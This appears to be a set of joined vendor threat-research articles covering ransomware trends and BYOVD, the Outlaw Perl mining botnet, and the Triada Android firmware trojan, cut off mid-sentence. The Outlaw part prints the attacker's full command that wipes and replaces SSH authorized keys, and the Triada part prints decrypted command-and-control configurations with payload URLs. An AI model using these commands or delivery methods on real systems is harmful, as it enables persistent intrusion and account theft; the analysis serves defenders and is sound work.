Bring Your Own Vulnerable Driver (BYOVD) is an increasingly prevalent technique used in ransomware attacks to bypass security defenses and gain kernel-level access on Windows systems.

With BYOVD, attackers deploy a legitimate but vulnerable driver – often digitally signed by a trusted vendor or Microsoft – on a target system. These drivers, which operate at the kernel level (ring 0) with high privileges, contain exploitable flaws that allow attackers to disable security tools, escalate privileges or execute malicious code undetected. By leveraging signed drivers, attackers can evade Windows’ default security checks.

Although BYOVD is an advanced technique, there is a range of open-source tools like EDRSandblast and Backstab that lower the technical barriers and simplify such attacks. According to the Living Off The Land Drivers (LOLDrivers) project, hundreds of exploitable drivers are known, highlighting the scale of the problem. Attackers continue to find new vulnerable drivers, and tools like KDMapper allow mapping of unsigned drivers into memory via BYOVD, complicating defenses.

Regional ransomware trends and numbers

Share of users whose computers were attacked by crypto-ransomware, by region. Data from Kaspersky Security Network (download)

In the Middle East and Asia-Pacific regions, ransomware affected a higher share of users due to rapid digital transformation, expanding attack surfaces and varying levels of cybersecurity maturity. Enterprises in APAC were heavily targeted, driven by attacks on infrastructure and operational technology, especially in countries with growing economies and new data privacy laws.

Ransomware is less prevalent in Africa due to lower levels of digitization and economic constraints, which reduce the number of high-value targets. However, as countries like South Africa and Nigeria expand their digital economies, ransomware attacks are on the rise, particularly in the manufacturing, financial and government sectors. Limited cybersecurity awareness and resources leave many organizations vulnerable, though the smaller attack surface means the region remains behind global hotspots.

Latin America also experiences ransomware attacks, particularly in countries like Brazil, Argentina, Chile and Mexico. Manufacturing, agriculture, and retail, as well as critical sectors such as government and energy are targeted, but economic constraints and smaller ransoms deter some attackers. The region’s growing digital adoption is increasing exposure. For example, NightSpire ransomware compromised Chilean company EmoTrans, a logistics company serving key industries in Chile such as mining, agriculture and international trade. The group first appeared in March 2025, and attacked government institutions, manufacturers and other companies in various parts of the world. Like many other groups, NightSpire uses the double extortion strategy and has its own data leak site (DLS).

The Commonwealth of Independent States (CIS) sees a smaller share of users encountering ransomware attacks. However, hacktivist groups like Head Mare, Twelve and others active in the region often use ransomware such as LockBit 3.0 to inflict damage on target organizations. Manufacturing, government, and retail are the most targeted sectors, with varying levels of cybersecurity maturity across the region affecting security.

Europe is confronted with ransomware, but benefits from robust cybersecurity frameworks and regulations that deter some attackers. Sectors such as manufacturing, agriculture, and education are targeted, but mature incident response and awareness limit the scale of attacks. The region’s diversified economies and strong defenses make it less of a focal point for ransomware groups than regions with rapid, less secure digital growth.

For example, RansomHub claimed responsibility for a 2024 attack on Kawasaki’s European offices, disrupting operations across multiple countries. The breach compromised customer and operational data, affecting supply chains for Kawasaki’s motorcycle and industrial products in Europe. The regional impact was significant in countries such as Germany and the Netherlands, where Kawasaki has a strong market presence, highlighting vulnerabilities in Europe’s manufacturing sector.

Change in the share of users whose computers were attacked by crypto-ransomware, by region, 2024 compared to 2023. Data from Kaspersky Security Network (download)

Emerging threats and future outlook

Looking ahead to 2025, ransomware is expected to evolve by exploiting unconventional vulnerabilities, as demonstrated by the Akira gang’s use of a webcam to bypass endpoint detection and response systems and infiltrate internal networks. Attackers are likely to increasingly target overlooked entry points like IoT devices, smart appliances or misconfigured hardware in the workplace, capitalizing on the expanding attack surface created by interconnected systems. As organizations strengthen traditional defenses, cybercriminals will refine their tactics, focusing on stealthy reconnaissance and lateral movement within networks to deploy ransomware with greater precision, making it harder for defenders to detect and respond in time.

Ransomware groups are also likely to escalate their extortion strategies, moving beyond double extortion to more aggressive approaches such as threatening to leak sensitive data to regulators, competitors or the public. The Ransomware-as-a-Service model will continue to thrive, allowing less-skilled actors to launch sophisticated attacks by purchasing access to pre-built tools and exploit kits. Geopolitical tensions may further drive hacktivism and state-sponsored ransomware campaigns targeting critical assets, such as energy grids or healthcare systems, as part of hybrid warfare. Smaller organizations with limited cybersecurity budgets will face heightened risks as attackers exploit their weaker defenses. To adapt, businesses must adopt zero-trust security models, secure IoT ecosystems and prioritize employee training to mitigate phishing and social engineering threats.

The proliferation of large language models (LLMs) tailored for cybercrime will further amplify ransomware’s reach and impact. LLMs marketed on the dark web lower the technical barrier to creating malicious code, phishing campaigns and social engineering attacks, allowing even less-skilled actors to craft highly convincing lures or automate ransomware deployment. As more innovative concepts such as RPA (Robotic Process Automation) and LowCode, which provide an intuitive, visual, AI-assisted drag-and-drop interface for rapid software development, are quickly adopted by software developers, we can expect ransomware developers to use them to automate their attacks as well as new code development, making the ransomware threat even more prevalent.

Recommendations

To effectively counter ransomware in 2025, organizations and individuals must adopt a multi-layered defense strategy that addresses the evolving tactics of groups like FunkSec, RansomHub and others that leverage AI, Bring Your Own Vulnerable Driver (BYOVD) and double extortion.

Prioritize proactive prevention through patching and vulnerability management. Many ransomware attacks exploit unpatched systems, so organizations should implement automated patch management tools to ensure timely updates for operating systems, software and drivers. For Windows environments, enabling Microsoft’s Vulnerable Driver Blocklist is critical to thwarting BYOVD attacks. Regularly scan for vulnerabilities and prioritize high-severity flaws, especially in widely used software like Microsoft Exchange or VMware ESXi, which were increasingly targeted by ransomware in 2024.

Strengthen endpoint and network security with advanced detection and segmentation. Deploy robust endpoint detection and response solutions such as Kaspersky NEXT EDR to monitor for suspicious activity like driver loading or process termination. Network segmentation is equally important – limit lateral movement by isolating critical systems and using firewalls to restrict traffic. Implement a zero-trust architecture that requires continuous authentication for access.

Invest in backups, training and incident response planning. Maintain offline or immutable backups that are tested regularly to ensure rapid recovery without paying a ransom. Backups should cover critical data and systems and be stored in air-gapped environments to resist encryption or deletion. User education is essential to combat phishing, which remains one of the top attack vectors. Conduct simulated phishing exercises and train employees to recognize AI-crafted emails used by FunkSec and others for stealth. Kaspersky GERT can help develop and test an incident response plan to minimize potential downtime and costs.

The recommendation to not pay a ransom remains robust, especially given the risk of unavailable keys due to dismantled infrastructure, affiliate chaos or malicious intent, as seen in the 2024 disruptions. By investing in backups, incident response and preventive measures like patching and training, organizations can avoid funding criminals and mitigate the impact. Kaspersky also offers free decryptors for certain ransomware families. If you get hit by ransomware, check to see if there is a decryptor available for the ransomware family used in your case. Note that even if one isn’t available right now, it may be added later.

Read More 

Introduction

In a recent incident response case in Brazil, we dealt with a relatively simple, yet very effective threat focused on Linux environments. Outlaw (also known as “Dota”) is a Perl-based crypto mining botnet that typically takes advantage of weak or default SSH credentials for its operations. Previous research ([1], [2]) described Outlaw samples obtained from honeypots. In this article, we provide details from a real incident contained by Kaspersky, as well as publicly available telemetry data about the countries and territories most frequently targeted by the threat actor. Finally, we provide TTPs and best practices that security practitioners can adopt to protect their infrastructures against this type of threat.

Analysis

We started the analysis by gathering relevant evidence from a compromised Linux system. We identified an odd authorized SSH key for a user called
suporte (in a Portuguese-speaking environment, this is an account typically used for administrative tasks in the operating system). Such accounts are often configured to have the same username as the password, which is a bad practice, making it easy for the attackers to exploit them. The authorized key belonged to a remote Linux machine user called
mdrfckr, a string found in Dota campaigns, which raised our suspicion.

Suspicious authorized key

After the initial SSH compromise, the threat actor downloads the first-stage script,
tddwrt7s.sh, using utilities like
wget or
curl. This artifact is responsible for downloading the
dota.tar.gz file from the attackers’ server. Below is the sequence of commands performed by the attacker to obtain and decompress this file, which is rather typical of them. It is interesting to note that the adversary uses both of the previously mentioned utilities to try to download the artifact, since the system may not have one or another.

Chain of commands used by the attackers to download and decompress dota.tar.gz

After the decompression, a hidden directory, named
“.configrc5”, was created in the user’s home directory with the following structure:

.configrc5 directory structure

Interestingly enough, one of the first execution steps is checking if other known miners are present on the machine using the script
a/init0. If any miners are found, the script tries to kill and block their execution. One reason for this is to avoid possible overuse of the RAM and CPU on the target machine.

Routine for killing and blocking known miners

The script also monitors running processes, identifies any that use 40% or more CPU by executing the command
ps axf –o “pid %cpu”, and for each such process, checks its command line
(/proc/$procid/cmdline) for keywords like
“kswapd0”, “tsm”, “rsync”, “tor”, “httpd”, “blitz”, or
“mass” using the
grep command. If none of these keywords are found (
grep doesn’t return zero), the process is forcefully killed with the
kill –9 command; otherwise, the script prints
“don’t kill”, effectively whitelisting Outlaw’s known or expected high-CPU processes, so it doesn’t accidentally kill them.

Processes checks performed by the threat

After the process checks and killing are done, the
b/run file is executed, which is responsible for maintaining persistence on the infected machine and executing next-stage malware from its code. For persistence purposes, the attackers used the following command to wipe the existing SSH setup, create a clean
.ssh folder, add a new public key for SSH access, and lock down permissions.

cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh

The next-stage malware is a Base64-encoded string inside the b/run script that, once decoded, reveals another level of obfuscation: this time an obfuscated Perl script. Interestingly, the attackers left a comment generated by the obfuscator (perlobfuscator.com) in place.

Obfuscated Perl script

We were able to easily deobfuscate the code using an open-source script available on the same website as used by the attackers (https://perlobfuscator.com/decode-stunnix-5.17.1.pl), which led us to the original source code containing a few words in Portuguese.

Deobfuscated Perl script

This Perl script is an IRC-based botnet client that acts as a backdoor on a compromised system. Upon execution, it disguises itself as an
rsync process, creates a copy of itself in the background, and ignores termination signals. By default, it connects to a hardcoded IRC server over port 443 using randomly generated nicknames, joining predefined channels to await commands from designated administrators. The bot supports a range of malicious features including command execution, DDoS attacks, port scans, file download, and upload via HTTP. This provides the attackers with a wide range of capabilities to command and control the botnet.

XMRig miner

Another file from the hidden directory,
a/kswapd0, is an ELF packed using UPX, as shown in the image below. We were able to easily unpack the binary for analysis.

kswapd0 identification and unpacking

By querying the hash on threat intelligence portals and by statically analyzing the sample, it became clear that this binary is a malicious modified version of XMRig (6.19.0), a cryptocurrency miner.

XMRig version

We also found a configuration file embedded in the binary. This file contains the attacker’s mining information. In our scenario, the configuration was set up to mine Monero using the CPU only, with both OpenCL and CUDA (for GPU mining) disabled. The miner runs in the background, configured for high CPU usage. It also connects to multiple mining pools, including one accessible via Tor, which explains the presence of Tor files inside the
.configrc5/a directory. The image below shows an excerpt from this configuration file.

XMRig custom configuration

Victims

Through telemetry data collected from public feeds, we have identified victims of the Outlaw gang mainly in the United States, but also in Germany, Italy, Thailand, Singapore, Taiwan, Canada and Brazil, as shown in the chart below.

Countries and territories where Outlaw is most active< (download)

The following chart shows the distribution of recent victims. We can see that the group was idle from December 2024 through February 2025, then a spike in the number of victims was observed in March 2025.

Number of Outlaw victims by month, September 2024–March 2025 (download)

Recommendations

Since Outlaw exploits weak or default SSH passwords, we recommend that system administrators adopt a proactive approach to hardening their servers. This can be achieved through custom server configurations and by keeping services up to date. Even simple practices, such as using key-based authentication, can be highly effective. However, the
/etc/ssh/sshd_config file allows for the use of several additional parameters to improve security. Some general configurations include:

• Port <custom_port_number>: changes the default SSH port to reduce exposure to automated scans.
• Protocol 2: enforces the use of the more secure protocol version.
• PermitRootLogin no: disables direct login as the root user.
• MaxAuthTries <integer>: limits the number of authentication attempts per session.
• LoginGraceTime <time>: defines the amount of time allowed to complete the login process (in seconds unless specified otherwise).
• PasswordAuthentication no: disables password-based login.
• PermitEmptyPasswords no: prevents login with empty passwords.
• X11Forwarding no: disables X11 forwarding (used for running graphical applications remotely).
• PermitUserEnvironment no: prevents users from passing environment variables.
• Banner /etc/ssh/custom_banner: customizes the system login banner.

Consider disabling unused authentication protocols:

• ChallengeResponseAuthentication no
• KerberosAuthentication no
• GSSAPIAuthentication no

Disable tunneling options to prevent misuse of the SSH tunnel feature:

• AllowAgentForwarding no
• AllowTcpForwarding no
• PermitTunnel no

You can limit SSH access to specific IPs or networks using the AllowUsers directive:

• AllowUsers *@10.10.10.217
• AllowUsers *@192.168.0.0/24

Enable public key authentication with:

• PubkeyAuthentication yes

Set parameters to automatically disconnect idle sessions:

• ClientAliveInterval <time>
• ClientAliveCountMax <integer>

The following configuration file serves as a template for hardening the SSH service:

Protocol 2
Port 2222

LoginGraceTime 10
PermitRootLogin no
MaxAuthTries 3
IgnoreRhosts yes
PubkeyAuthentication yes
PasswordAuthentication no
PermitEmptyPasswords no

UsePAM yes
ChallengeResponseAuthentication no
KerberosAuthentication no
GSSAPIAuthentication no

AllowAgentForwarding no
AllowTcpForwarding no
X11Forwarding no
PrintMotd no
PrintLastLog yes
PermitUserEnvironment no
ClientAliveInterval 300
ClientAliveCountMax 2
PermitTunnel no

Banner /etc/ssh/custom_banner
AllowUsers *@10.10.10.217

While outside
sshd_config, pairing your config with tools like Fail2Ban or firewalld rate limiting adds another solid layer of protection against brute force.

Conclusion

By focusing on weak or default SSH credentials, Outlaw keeps improving and broadening its Linux-focused toolkit. The group uses a range of evasion strategies, such as concealing files and folders or obfuscated programs, and uses compromised SSH keys to keep access for as long as possible. The IRC-based botnet client facilitates a wide range of harmful operations, such as command execution, flooding, and scanning, while the deployment of customized XMRig miners can divert processing resources to cryptocurrency mining. By hardening SSH configurations (for instance, turning off password authentication), keeping an eye out for questionable processes, and limiting SSH access to trustworthy users and networks, system administrators can greatly lessen this hazard.

Tactics, techniques and procedures

Below are the Outlaw TTPs identified from our malware analysis.

Indicators of Compromise

• 15f7c9af535f4390b14ba03ddb990c732212dde8 (a)
• 982c0318414c3fdf82e3726c4ef4e9021751bbd9 (init0)
• f2b4bc2244ea8596a2a2a041308aa75088b6bbd5 (kswapd0)
• 4d5838c760238b77d792c99e64bd962e73e28435 (run)
• d0ba24f9fad04720dff79f146769d0d8120bf2ff (decoded Perl script)
• 45[.]9[.]148[.]99 (Attacker’s C2)
• 483fmPjXwX75xmkaJ3dm4vVGWZLHn3GDuKycHypVLr9SgiT6oaZgVh26iZRpwKEkTZCAmUS8tykuwUorM3zGtWxPBFqwuxS (Monero wallet)

Read More 

Introduction

Older versions of Android contained various vulnerabilities that allowed gaining root access to the device. Many malicious programs exploited these to elevate their system privileges and gain persistence. The notorious Triada Trojan also used this attack vector. With time, the vulnerabilities were patched, and restrictions were added to the firmware. Specifically, system partitions in recent Android versions cannot be edited, even with superuser privileges. Ironically, this has inadvertently benefited malicious actors. While external malware now faces greater permission restrictions, pre-installed malware within system partitions has become impossible to remove. Attackers are leveraging this by embedding malicious software into Android device firmware. This is how one of our earlier findings, the Dwphon loader, functioned. It was built into system apps for over-the-air (OTA) updates. In March 2025, our research highlighted the Triada Trojan’s evolved tactics to overcome Android’s enhanced privilege restrictions. Attackers are now embedding a sophisticated multi-stage loader directly into device firmware. This allows the Trojan to infect the Zygote process, thereby compromising every application running on the system.

Key takeaways:

• We discovered new versions of the Triada Trojan on devices whose firmware was infected even before they were available for sale. These were imitations of popular smartphone brands, and they remained available from various online marketplaces at the time of our research.
• A copy of the Trojan infiltrates every application launched on an infected device. The modular architecture of the malware gives attackers virtually unlimited control over the system, enabling them to tailor functionality to specific applications.
• In the current version of Triada, the payloads we have analyzed exhibit several malicious behaviors depending on the host application. Specifically, they can modify cryptocurrency wallet addresses during transfer attempts, replace links in browsers, send arbitrary text messages and intercept replies, and steal login credentials for messaging and social media apps.

The complete infection chain looks like this:

Triada Trojan infection chain

Kaspersky products detect the new version of Triada as
Backdoor.AndroidOS.Triada.z..

System framework with a malicious dependency

Our initial investigation focused on native libraries included in the firmware of several devices, located in:

• /system/framework/arm/binder.so
• /system/framework/arm64/binder.so

The file is not present in a reference Android version. We discovered that the suspicious library was loaded into Zygote, the parent process for every Android application, by an infected AOT-compiled Android system framework (
boot–framework.oat) located in the same directory.

Malicious dependency in boot-framework.oat

The
binder.so library registers a native method, println_native, for the android.util.Log class, used by applications installed on the device to write messages to Logcat. The implementation of this method calls a suspicious function, _config_log_println.

Call to the suspicious function

The _config_log_println function then calls two other functions that deploy three modules, contained in the
rodata section of the malicious library, into every process launched on the device. One of the functions runs every time, while the other one only runs if the Android OS on the device is Version 9 or earlier.

Execution of the two malicious functions

Let us take a closer look at the modules that these launch.

1. Auxiliary module

This module from the
rodata section of the malicious library is written to the application’s internal
data directory under the name systemlibarm64_%N%.jar, where N is a random number.

Loading the auxiliary module

The auxiliary module registers a receiver that can load arbitrary code files, although we did not see this happen in the cases described below. We would later call this module auxiliary because other payloads relied on it to perform their malicious functions. For example, for the com.android.core.info.config.JvmCore class from this module,
binder.so registers native methods that can intercept calls to arbitrary methods within the process where the malware is running.

2. The mms-core.jar backdoor

This module undergoes a double XOR decryption process with different keys pulled from the
rodata section of the malicious library. After decryption, it is saved to disk as /data/data/%PACKAGE%/mms-core.jar and then loaded using DexClassLoader. Once the loading is complete, the payload file is deleted.

Loading the backdoor

This
mms–core.jar is a new iteration of a backdoor we mentioned in our earlier reports. In contrast to past versions, which exploited and modified system files to load itself into Zygote, the malware now achieves reliable Zygote access by leveraging a compromised system framework. Similar to previous versions, the backdoor downloads and executes other payloads.

3. Crypto stealer or dropper?

Immediately upon starting, the
binder.so library reads the file /proc/%PID%/cmdline, with %PID% representing the system process ID. This is how the Trojan determines the package name of a running app.

Package name check

Based on the package name,
binder.so loads either a crypto stealer loader (if the application is cryptocurrency-related) or a dropper from the rodata section. Neither payload is encrypted.

Triada crypto stealer

In previous Triada versions we analyzed, cryptocurrency applications were immediately infected with a crypto stealer. However, in these latest samples, the malicious module is a loader specifically targeting apps with the following package names:

com.binance.dev
com.wrx.wazirx
com.coinex.trade.play
com.okinc.okex.gp
pro.huobi
com.kubi.kucoin

The entry point for this malicious loader is the onCreate method within the com.hwsen.abc.SDK class. In latest versions this module requests a configuration from a GitHub repository. Using a pseudo-random number generator, the sample selects a number (0, 1, or 2), each corresponding to a specific repository address.

Loading the configuration

All field values within the configuration are encrypted using AES-128 in ECB mode and then encoded with Base64. An example of a decrypted configuration is shown below:

{
    addr: {
        durl: https://app-file.b-cdn[.]net/poctest/pc2215202501061400.zip,
        durl2: https://app-file.b-cdn[.]net/poctest/pc2215202501061400.zip,
        durl3: https://app-file.b-cdn[.]net/poctest/pc2215202501061400.zip,
        ver: 17,
        vname: pc2215202501061400.zip,
        online: true,
        rom: true,
        update: true,
        pkg: com.android.system.watchdog.x.Main,
        method: onCreate,
        param: t
    }
}

If
online equals true, the loader downloads a payload from the URL specified in the
durl field. If errors occur, it uses
durl2 and
durl3 as backup links. The downloaded payload is decrypted using XOR with a hardcoded key and saved to the application’s internal
data directory under the name specified in the
vname parameter. The
pkg and
method fields represent the class name and method, respectively, that will be called after the crypto stealer is loaded via DexClassLoader.

The downloaded payload attempts to steal the victim’s cryptocurrency using various methods. For example, it monitors running activities at preset intervals. This allows the Trojan to intercept attempts at withdrawing cryptocurrency and replace the victim’s crypto wallet addresses in the relevant text fields with addresses belonging to the attackers. To achieve this, the malware runs a depth-first search for all graphical sub-elements within the current frame, identifying the blockchain to which the funds are being sent. The Trojan then swaps the crypto wallet address with a hardcoded one and replaces the click handlers of all buttons in the application with a proxy handler that swaps the crypto wallet address again, ensuring the attackers can steal the funds. Interestingly, the crypto stealer also replaces image elements with generated QR codes containing attacker-controlled wallet addresses.

Text and image replacement

The Trojan also monitors the clipboard contents and, if it finds a crypto wallet address, it gets replaced with an address belonging to the attackers.

Clipboard hijacking

Dropper

If the
binder.so library happens to run in an app unrelated to cryptocurrency, it downloads a different payload. This is a dropper that calls the onCreate method within the com.system.framework.api.vp2130.services class. Depending on the version, it can extract up to three Base64-encoded additional modules from its own contents.

• The dropper loads a com.android.packageinstaller.apiv21.ApiV21 class from the first module inside the system APK installer app. This class registers a receiver that allows other modules to install arbitrary APKs on the device and also uninstall any apps.

Malicious receiver

Beginning with Android 13, apps from untrusted sources are restricted from accessing sensitive permissions, such as those for accessibility services. To bypass these restrictions for sideloaded apps, the receiver installs them through an installation session in newer Android versions.

• The com.system.framework.audio.Audio class is loaded from the second module to block network connections. Depending on the system architecture, it decodes and loads a native helper library. This library uses the xhook library to intercept calls to the getaddrinfo and android_getaddrinfofornet functions. These functions handle communication with the dnsproxyd service in Android, which performs DNS requests using a client-server model. If the attackers have sent a command to block a specific domain, its name is replaced by a hook redirecting to 127.0.0.1, making access to the original domain impossible.

Intercepting the dnsproxyd communications functions

Thus, the malware can block requests to anti-fraud services unless they use a custom DNS implementation.

• The com.system.framework.api.init.services class is also loaded from the third module to download arbitrary payloads. For this purpose, the malware periodically transmits a wealth of device information (MAC address, model, CPU, manufacturer, IMEI, IMSI, etc.), along with the host application name and version, to its command-and-control server. Before being sent, the data is encrypted using AES-128 in CBC mode and then encoded with Base64. The C2 responds with a JSON file containing information about the payload, also encrypted with AES-128 in CBC mode. The infected device receives the key and initialization vector (IV) RSA-encrypted from the C2 within the same JSON.

Decoding, loading, and running the payload

For convenience, we will refer to this module as the Triada backdoor going forward. It is this module that holds the greatest interest for our research, as it provides the malware with a wide range of capabilities. A closer look at the Triada threat actor’s objectives yielded a somewhat surprising result. Whereas previous malicious samples mainly displayed ads and signed users up for paid subscriptions, the attackers’ priorities have now drastically changed.

What Triada downloads

To understand exactly how the attackers’ priorities have shifted, we decided to try downloading the payloads for various popular apps. We observed that the
binder.so malicious library passes a flag to the dropper upon starting if the application’s name is on a list within its code. This list included both system apps and popular apps from official stores.

Some apps from binder.so

This list served as the starting point for our investigation. For all the listed applications, we sent requests to the malware C2, and some of them returned links to download payloads. As an example, this is the response we received from the Trojan after requesting a payload for Telegram:

{
    a: 0,
    b: 40E315FB00M8EP2G49008INIK7000002,
    c: 1373225559,
    d: [{
            a: 72,
            b: http://ompe2.7u6h8[.]xyz/tgzip/44a08dc22b45b9418ed427fd24c192c6.zip,
            c: com.tgenter.tmain.Engine,
            d: start,
            e: 32,
            f: 44a08dc22b45b9418ed427fd24c192c6,
            g: https://mp2y3.sm20j[.]xyz/tgzip/44a08dc22b45b9418ed427fd24c192c6.zip
        }, {
            a: 127,
            b: http://ompe2.7u6h8[.]xyz/tgzip/tgnetuser/online/37fd87f46e95f431b1977d8c5741d2d5.zip,
            c: com.androidx.tlttl.tg.CkUtils,
            d: init,
            e: 7,
            f: 37fd87f46e95f431b1977d8c5741d2d5,
            g: https://mp2y3.sm20j[.]xyz/tgzip/tgnetuser/online/37fd87f46e95f431b1977d8c5741d2d5.zip
        }
    ],
    e: 245,
    g: [com.instagram.android],
    h: org.telegram.messenger.web,org.telegram.messenger,com.whatsapp.w4b,com.fmwhatsapp,com.gbwhatsapp,com.yowhatsapp,com.facebook.lite,com.facebook.orca,com.facebook.mlite,com.skype.raider,com.zhiliaoapp.musically,com.obwhatsapp,com.ob3whatsapp,com.ob2whatsapp,com.jtwhatsapp,com.linkedin.android,com.zhiliaoapp.musically.go,com.opera.browser.afin,com.heytap.browser,com.sec.android.app.sbrowser,org.mozilla.firefox,com.microsoft.emmx,com.microsoft.emmx.canary,com.opera.browser
}

The payload information from the C2 server was received as an array of objects, with each containing two download URLs (primary and backup), the MD5 hash of the file to download, the module’s entry point details, and its ID. After downloading, the modules were decrypted twice using XOR with different keys.

Triada decrypting the payload

In addition to this, the response from the C2 contained other package names. By using these, we were able to obtain various further payloads.

It should be noted that according to the Android security model, unprivileged users do not normally have access to certain application data. However, as mentioned earlier, the malware is loaded by the Zygote process, which allows it to bypass OS restrictions because each payload runs within the process of the app it targets. This means the modules can obtain any application data, and the attackers actively exploit this in subsequent stages of infection. Furthermore, each additional malware payload can use all the permissions available to the app.

During module analysis, we also noted the significant skill of the Triada creators: each payload is tailored to the target app’s characteristics. Let us see which modules the Trojan loaded into some popular Android apps.

Telegram modules

For the Telegram messaging app, the Triada backdoor downloaded two modules at the time of this research. The first module (b8a745bdc0e083ffc88a524c7f465140) launches a malicious task within the messaging app’s context once every 24 hours. We believe that the attackers thoroughly examined Telegram’s internal workings before coding this task.

Malicious task code

Initially, the malicious task tries to obtain the victim’s account details. To do this, the module reads a string associated with the
user key from the key-value pairs saved using SharedPreferences in the app settings XML file named
userconfig. The string contains Base64-encoded serialized data about the Telegram user, which the messaging client code deserializes to communicate with the API. The malware takes advantage of this: Triada tries several reflection-based methods to read the user data.

Deserializing victim account details

The malware sends the following user information to the C2 server if it has not done so previously:

• A serialized string containing the victim’s account details.
• The victim’s phone number.
• The contents of the
  tgnet.dat file from the application’s
  data directory.
  This file stores Telegram authentication data including the user’s token, which allows the attackers to gain complete control over the victim’s account.
• The string with
  id=1 from the
  params table in the
  cache4.db database.

This payload also contains unused code for displaying ads.

The second module (fce117a9d7c8c73e5f56bda7437bdb28) uses Base64 to decode and then execute another payload (8f0e5f86046faed1d06bca7d3e48c0b8). This payload registers its own observer for new Telegram messages, which checks their content. If the message text matches regular expressions received by the Trojan from the C2 server, the message is deleted from the client. This module also attempts to delete Telegram notifications about new sessions.

Filtering messages based on content

Additionally, the malware tries to initiate a conversation with a bot that was no longer there at the time of our research.

Initiating communication with an unknown bot

Instagram module

This module (3f887477091e67c6aaca15bce622f485) starts by requesting the device’s advertising ID from Google Play services, which it then uses as the victim ID. After that, a malicious task runs once every 24 hours, sequentially scanning all XML files used by SharedPreferences until it finds the first file whose name begins with
UserCookiePrefsFile_. This file contains the cookies for active Instagram sessions, and intercepting these sessions allows the attackers to take over the victim’s account. The task also collects all files ending in
batch from the
analytics directory inside
data.

The malware reading the internal files

These files, along with information about the infected device, are encoded in Base64 and sent to the C2 server.

Browser module

This module (98ece45e75f93c5089411972f9655b97) is loaded into the browsers with the following package names:

• com.android.chrome
• org.mozilla.firefox
• com.microsoft.emmx
• com.microsoft.emmx.canary
• com.heytap.browser
• com.opera.browser
• com.sec.android.app.sbrowser
• com.chrome.beta

First, it establishes a connection with the C2 server over TCP sockets. Then, using the RSA algorithm, it encrypts an IV and key concatenation for AES-128 in CBC mode. The Trojan uses AES to encrypt the information about the infected device and then combines it with the key and IV into a single large buffer, which it sends to the TCP socket.

Code snippet for C2 communication

The C2 server responds with a buffer encrypted with the same parameters as the request it received from the infected device. The response contains a task to periodically substitute links opened in the browser. An example of this task is shown below.

{
    a: 0,
    b: 1,
    c: 65,
    d: {
        a: 17,
        b: https://stas.a691[.]com/,
        c: [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23],
        d: 2880
    }
}

The link replacement works as follows. The module first checks the version and name of the browser that it is running in to register hooks for the methods that the browser uses for opening links.

Launching browser-specific functionality

We noted earlier that in the initial stages, the Trojan downloaded an auxiliary module that implements its functionality to intercept arbitrary methods. The browser module utilizes this to interfere with the process of opening pages in various browsers.

Using the auxiliary module

In addition, the malware uses reflection to replace the Instrumentation class instance for the app. The execStartActivity method, which launches app activities, is replaced in the proxy class.

Malicious call in the Instrumentation proxy class

In Android, application activities are launched by broadcasting an intent with a specific action. If the application has an activity with an intent filter that declares the ability to handle the action, Android will launch it. When an application opens a link in a browser, it creates and sends an Intent instance with the action android.intent.action.VIEW, including the URI to be opened. Triada substitutes the URI in the received Intent instance.

Replacing the link in the Intent instance

In the samples we analyzed, the C2 server sent links to advertising resources. However, we believe that the malware creators could also use this functionality for, say, phishing.

WhatsApp modules

For WhatsApp, the Trojan’s C2 server would provide two modules. One of these (d5bc1298e436424086cb52508fb104b1) runs a malicious task within the WhatsApp client’s context every five minutes. This task reads various keys essential for the client’s operation, as well as data about the active session.

The Trojan reading WhatsApp login credentials

This data, along with information about the victim’s device, is forwarded to the C2 server, giving the attackers complete access to the victim’s WhatsApp account.

The other module (dc731e55a552caed84d04627e96906d5) starts by intercepting WhatsApp client functions that send and receive messages. The threat actor employed an interesting technique to work around class name obfuscation in WhatsApp code. The module’s code contains the names of the class and method being intercepted, specific to different WhatsApp versions. This likely required the attackers to manually analyze how each version worked. It is worth noting too that if the module’s code lacks the class names for the specific client version, the malware can request an interception configuration from the attackers’ C2 server.

If the interception is successful, the module continues its operation by sending data about the infected device to the C2 server and receiving a TCP socket IP address in response. Commands are then transmitted through this socket, allowing the malware to perform the following actions:

• Send arbitrary WhatsApp messages.
• Delete sent messages on the device to cover its tracks.
• Close the connection.

Snippet of the command handler

LINE module

This module (1d582e2517905b853ec9ebfe77759d15) runs inside the LINE messaging app. First, the malware gathers information about the infected device and sends it to the C2 server. Subsequently, every 30 seconds, it collects internal app data, specifically the
PROFILE_AUTH_KEY and
PROFILE_MID values from the
settings table in the
naver_line database. The malicious module also obtains the
User–Agent string and additional information to mimic HTTP requests as if they were coming from the messaging client itself. Additionally, the malware decrypts the user’s phone number and region from the
naver_line database and uses reflection to obtain the application’s access token, which allows it to take over the victim’s account.

Obtaining an access token

The module sends the data it collects to the C2 server.

Collecting and sending data

Skype module

This module (b87706f7fcb21f3a4dfdd2865b2fa733) runs a malicious task every two minutes that attempts to send information about the infected device to the C2. Once the C2 accepts the request, the task stops, and the Trojan begins reading internal Skype files every hour. Initially, the module tries to extract a token that allows access to the Skype account from the React Native framework keychain.

Triada extracting a token from the keychain

Failing to obtain the token through this method, the malware then tries to locate it within WebView cookies.

Extracting a token from the cookies

This token is then sent to the Trojan’s C2 server, thus compromising the victim’s account.

The versions of Triada we have seen contain no payloads for Microsoft Teams or Skype for Business. However, we believe that after Microsoft sunsets Skype, the attackers might add new malicious modules for these apps.

TikTok module

This module (993eb2f8bf8b5c01b30e3044c3bc10a3) sends information about the infected device to the attackers’ server once a day. Additionally, the malware collects a variety of data about the victim’s account. For example, it reads cached TikTok cookies from an internal directory, which might have been used by WebView within the app. The attackers are interested in the
